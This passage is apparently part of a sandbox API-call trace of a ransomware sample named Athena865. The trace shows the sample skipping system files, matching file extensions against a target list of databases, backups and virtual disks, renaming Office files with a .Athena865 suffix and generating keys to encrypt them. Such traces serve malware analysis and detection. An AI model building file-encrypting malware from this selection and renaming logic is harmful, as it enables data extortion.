files\\microsoft office\\office14\\1033\\excel_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=621) returned 1 [0140.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.605] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.606] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.606] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.606] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x154 [0140.608] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0140.609] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.614] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.614] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.615] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.615] CloseHandle (hObject=0x154) returned 1 [0140.615] CloseHandle (hObject=0x17c) returned 1 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.615] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0140.615] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.615] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.615] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".") returned 1 [0140.615] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="..") returned 1 [0140.615] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="windows") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="bootmgr") returned 1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="temp") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="pagefile.sys") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="boot") returned 1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="ids.txt") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="ntuser.dat") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="perflogs") returned -1 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2="MSBuild") returned -1 [0140.616] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0140.616] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL_COL.HXT" | out: lpString1="EXCEL_COL.HXT") returned="EXCEL_COL.HXT" [0140.616] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0140.616] lstrlenW (lpString="Athena865") returned 9 [0140.616] lstrcmpiW (lpString1="L_COL.HXT", lpString2="Athena865") returned 1 [0140.616] lstrlenW (lpString=".dll") returned 4 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".dll") returned 1 [0140.616] lstrlenW (lpString=".lnk") returned 4 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".lnk") returned 1 [0140.616] lstrlenW (lpString=".ini") returned 4 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".ini") returned 1 [0140.616] lstrlenW (lpString=".sys") returned 4 [0140.616] lstrcmpiW (lpString1="EXCEL_COL.HXT", lpString2=".sys") returned 1 [0140.616] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0140.616] lstrlenW (lpString="bak") returned 3 [0140.616] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0140.616] lstrlenW (lpString="ba_") returned 3 [0140.616] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0140.616] lstrlenW (lpString="dbb") returned 3 [0140.616] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0140.617] lstrlenW (lpString="vmdk") returned 4 [0140.617] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0140.617] lstrlenW (lpString="rar") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0140.617] lstrlenW (lpString="zip") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0140.617] lstrlenW (lpString="tgz") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0140.617] lstrlenW (lpString="vbox") returned 4 [0140.617] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0140.617] lstrlenW (lpString="vdi") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0140.617] lstrlenW (lpString="vhd") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0140.617] lstrlenW (lpString="vhdx") returned 4 [0140.617] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0140.617] lstrlenW (lpString="avhd") returned 4 [0140.617] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0140.617] lstrlenW (lpString="db") returned 2 [0140.617] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0140.617] lstrlenW (lpString="db2") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0140.617] lstrlenW (lpString="db3") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0140.617] lstrlenW (lpString="dbf") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0140.617] lstrlenW (lpString="mdf") returned 3 [0140.617] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0140.617] lstrlenW (lpString="mdb") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0140.618] lstrlenW (lpString="sql") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0140.618] lstrlenW (lpString="sqlite") returned 6 [0140.618] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0140.618] lstrlenW (lpString="sqlite3") returned 7 [0140.618] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0140.618] lstrlenW (lpString="sqlitedb") returned 8 [0140.618] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0140.618] lstrlenW (lpString="xml") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0140.618] lstrlenW (lpString="$er") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0140.618] lstrlenW (lpString="4dd") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0140.618] lstrlenW (lpString="4dl") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0140.618] lstrlenW (lpString="^^^") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0140.618] lstrlenW (lpString="abs") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0140.618] lstrlenW (lpString="abx") returned 3 [0140.618] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0140.618] lstrlenW (lpString="accdb") returned 5 [0140.618] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0140.618] lstrlenW (lpString="accdc") returned 5 [0140.618] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0140.618] lstrlenW (lpString="accde") returned 5 [0140.618] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0140.619] lstrlenW (lpString="accdr") returned 5 [0140.619] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0140.619] lstrlenW (lpString="accdt") returned 5 [0140.619] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0140.619] lstrlenW (lpString="accdw") returned 5 [0140.619] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0140.619] lstrlenW (lpString="accft") returned 5 [0140.619] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0140.619] lstrlenW (lpString="adb") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0140.619] lstrlenW (lpString="adb") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0140.619] lstrlenW (lpString="ade") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0140.619] lstrlenW (lpString="adf") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0140.619] lstrlenW (lpString="adn") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0140.619] lstrlenW (lpString="adp") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0140.619] lstrlenW (lpString="alf") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0140.619] lstrlenW (lpString="ask") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0140.619] lstrlenW (lpString="btr") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0140.619] lstrlenW (lpString="cat") returned 3 [0140.619] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0140.619] lstrlenW (lpString="cdb") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0140.620] lstrlenW (lpString="ckp") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0140.620] lstrlenW (lpString="cma") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0140.620] lstrlenW (lpString="cpd") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0140.620] lstrlenW (lpString="dacpac") returned 6 [0140.620] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0140.620] lstrlenW (lpString="dad") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0140.620] lstrlenW (lpString="dadiagrams") returned 10 [0140.620] lstrcmpiW (lpString1="EL_COL.HXT", lpString2="dadiagrams") returned 1 [0140.620] lstrlenW (lpString="daschema") returned 8 [0140.620] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0140.620] lstrlenW (lpString="db-journal") returned 10 [0140.620] lstrcmpiW (lpString1="EL_COL.HXT", lpString2="db-journal") returned 1 [0140.620] lstrlenW (lpString="db-shm") returned 6 [0140.620] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0140.620] lstrlenW (lpString="db-wal") returned 6 [0140.620] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0140.620] lstrlenW (lpString="dbc") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0140.620] lstrlenW (lpString="dbs") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0140.620] lstrlenW (lpString="dbt") returned 3 [0140.620] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0140.621] lstrlenW (lpString="dbv") returned 3 [0140.621] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0140.621] lstrlenW (lpString="dbx") returned 3 [0140.621] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0140.621] lstrlenW (lpString="dcb") returned 3 [0140.621] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0140.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.Athena865") returned 71 [0140.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.athena865"), dwFlags=0x1) returned 1 [0140.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=205) returned 1 [0140.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.623] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.624] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.624] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.624] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x154 [0140.628] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0140.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.630] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.630] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.631] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.631] CloseHandle (hObject=0x154) returned 1 [0140.631] CloseHandle (hObject=0x17c) returned 1 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".") returned 1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="..") returned 1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="windows") returned -1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="bootmgr") returned 1 [0140.631] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="temp") returned -1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="boot") returned 1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="ids.txt") returned -1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="perflogs") returned -1 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2="MSBuild") returned -1 [0140.632] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0140.632] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL_F_COL.HXK" | out: lpString1="EXCEL_F_COL.HXK") returned="EXCEL_F_COL.HXK" [0140.632] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0140.632] lstrlenW (lpString="Athena865") returned 9 [0140.632] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0140.632] lstrlenW (lpString=".dll") returned 4 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".dll") returned 1 [0140.632] lstrlenW (lpString=".lnk") returned 4 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".lnk") returned 1 [0140.632] lstrlenW (lpString=".ini") returned 4 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".ini") returned 1 [0140.632] lstrlenW (lpString=".sys") returned 4 [0140.632] lstrcmpiW (lpString1="EXCEL_F_COL.HXK", lpString2=".sys") returned 1 [0140.632] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0140.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.Athena865") returned 73 [0140.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0140.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.635] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.635] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.635] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.639] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.640] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.642] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.642] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.643] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.643] CloseHandle (hObject=0x154) returned 1 [0140.643] CloseHandle (hObject=0x17c) returned 1 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.643] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0140.643] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.643] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.643] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".") returned 1 [0140.643] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="..") returned 1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="windows") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="bootmgr") returned 1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="temp") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="boot") returned 1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="ids.txt") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="perflogs") returned -1 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2="MSBuild") returned -1 [0140.644] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0140.644] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL_K_COL.HXK" | out: lpString1="EXCEL_K_COL.HXK") returned="EXCEL_K_COL.HXK" [0140.644] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0140.644] lstrlenW (lpString="Athena865") returned 9 [0140.644] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0140.644] lstrlenW (lpString=".dll") returned 4 [0140.644] lstrcmpiW (lpString1="EXCEL_K_COL.HXK", lpString2=".dll") returned 1 [0140.644] lstrlenW (lpString=".lnk") returned 4 